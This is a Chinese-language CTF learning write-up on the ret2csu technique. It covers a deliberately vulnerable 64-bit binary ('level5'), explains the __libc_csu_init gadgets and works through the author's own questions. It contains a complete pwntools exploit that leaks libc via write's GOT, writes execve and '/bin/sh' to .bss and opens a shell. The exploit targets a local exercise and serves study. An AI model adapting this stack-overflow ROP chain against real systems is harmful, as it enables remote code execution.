题目源代码
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 512);
}
int main(int argc, char** argv) {
write(STDOUT_FILENO, "Hello, World\n", 13);
vulnerable_function();
}
ida:分析一下,为了getshell我们要想办法输入命令system(“\bin\sh”),可以把这些命令写到bss段,然后想办法运行命令。
前提:
-偏移 offset=function1真实地址-function1libc在库地址=function2真实地址-function2在libc库地址
-通过查找函数真实地址后三位可以查到所用的libc库和其他函数在库中地址
-而函数真实地址只有在被调用后才会得到
基本利用思路如下
利用栈溢出执行 libc_csu_gadgets 获取 write 函数地址,并使得程序重新执行 main 函数
根据 libcsearcher 获取对应 libc 版本以及 execve 函数地址
再次利用栈溢出执行 libc_csu_gadgets 向 bss 段写入 execve 地址以及 '/bin/sh’ 地址,并使得程序重新执行 main 函数。
再次利用栈溢出执行 libc_csu_gadgets 执行 execve('/bin/sh') 获取 shell。】
在 64 位程序中,函数的前 6 个参数是通过寄存器传递的,但是大多数时候,难找到每一个寄存器对应的 gadgets。 _libc_csu_init函数是程序调用libc库用来对程序进行初始化的函数,一般先于main函数执行,而我们则是要利用_libc_csu_init其中两段特殊的gadget。这个函数是用来对 libc 进行初始化操作的,而一般的程序都会调用 libc 函数,所以这个函数一定会存在。
ptr -- pointer (既指针)的 缩写。
汇编里面 ptr 是规定 的 字 (既保留字),是用来临时指定类型的。
(可以理解为,ptr是临时的类型转换,相当于C语言中的强制类型转换)
可以放在ptr前面的类型有byte(字节)、word(字)、dword(双字)、qword(四字)、tbyte(十字节)、far(远类型)和near(近类型)
gadget 位于 0x400600 和 0x40061a地址
先借用0x40061a 处的gadget 将想要压入寄存器的参数压入
顺序依次 rbx rbp r12 r13 r14 r15 特别是rbx=0 rbp=1 r12=target_function
然后再调用 0x400600处的gadget将 r13 r14 r15 的值和rdx rsi edi交换
第一步:利用write()输出write在内存中的地址。gadget是call qword ptr [r12+rbx*8],所以应该使用write.got的地址而不是write.plt的地址。并且为了返回到原程序中,重复利用buffer overflow的漏洞,我们需要继续覆盖栈上的数据,直到把返回值覆盖成目标函数的main函数为止。
第二步:当exp在收到write()在内存中的地址后,就可以计算出execve()在内存中的地址了。接着我们构造payload2,利用read()将execve()的地址以及“/bin/sh”读入到.bss段内存中。
第三步:调用execve()函数执行“/bin/sh”。注意,execve()的地址保存在了.bss段首地址上,“/bin/sh”的地址保存在了.bss段首地址+8字节上。
脚本:
from pwn import *
from LibcSearcher import LibcSearcher
#context.log_level = 'debug'
level5 = ELF('./level5')
sh = process('./level5')
write_got = level5.got['write']
read_got = level5.got['read']
main_addr = level5.symbols['main']
bss_base = level5.bss()
csu_front_addr = 0x400600
csu_end_addr = 0x40061A
fakeebp = 'b' * 8
def csu(rbx, rbp, r12, r13, r14, r15, last):
#设立一个payload函数
# pop rbx,rbp,r12,r13,r14,r15
# rbx 一直都应该输入为0,
# rbp 一直都应该输入为1,不能跳转
# r12 是我们要call的寄存器,将我们要用的函数地址存于此寄存器
# rdi=edi=r15d
# rsi=r14
# rdx=r13
payload = 'a' * 0x80 + fakeebp
payload += p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(
r13) + p64(r14) + p64(r15)
payload += p64(csu_front_addr)
payload += 'a' * 0x38 #??为啥是0x38
payload += p64(last)
sh.send(payload)
sleep(1)
sh.recvuntil('Hello, World\n')
## 64位优先rdi,rsi,rdx,rcx,r8,r9
## write(1,write_got,8)
csu(0, 1, write_got, 8, write_got, 1, main_addr)
write_addr = u64(sh.recv(8))
libc = LibcSearcher('write', write_addr)
libc_base = write_addr - libc.dump('write')
execve_addr = libc_base + libc.dump('execve')
log.success('execve_addr ' + hex(execve_addr))
##gdb.attach(sh)
## read(0,bss_base,16)
## 读取 execve_addr 和 /bin/sh\x00
sh.recvuntil('Hello, World\n')
csu(0, 1, read_got, 16, bss_base, 0, main_addr)
sh.send(p64(execve_addr) + '/bin/sh\x00')
sh.recvuntil('Hello, World\n')
## execve(bss_base+8)
csu(0, 1, bss_base, 0, 0, bss_base + 8, main_addr)
sh.interactive()
看大佬的脚本由许多不懂的地方:
一、0x38的由来:
main函数结束地址至end地址之间差距0x46,0x46与0x38之间差距14,若提前控制了 RBX 与 RBP,如果我们可以提前控制这两个数值,那么我们就可以减少 16 字节。
二、r13和r14还有r15的值应该怎么确定,是随机输入一个值吗,P64(0)可以理解为pop操作,但是没有pop到寄存器,而是丢弃掉。
在了解了write函数与read函数后,##write(1,write_got,8)、## read(0,bss_base,16)
(int fd, void * buf, size_t count),所以r12是调用函数的地址,因为r13是函数的第三个参数,r14是第二个参数,r15是第一个参数,8是指write_got的大小,16指bss_base的大小。
read:
fd:文件描述符,用来指向要操作的文件的文件结构体
buf:一块内存空间
count:请求读取的字节数,读上来的数据保存在缓冲区buf中,同时文件的当前读写位置向后移。
write:
fd:文件指针
buf:写入的数据保存在缓冲区buf中,同时文件的当前读写位置向后移
count:请求写入的字节数
sleep(1)作用:
本线程放弃cpu时间片
其他线程处理之后,再开始本线程
多线程处理socket接收发送的时候经常这样处理
防止接收发送出现问题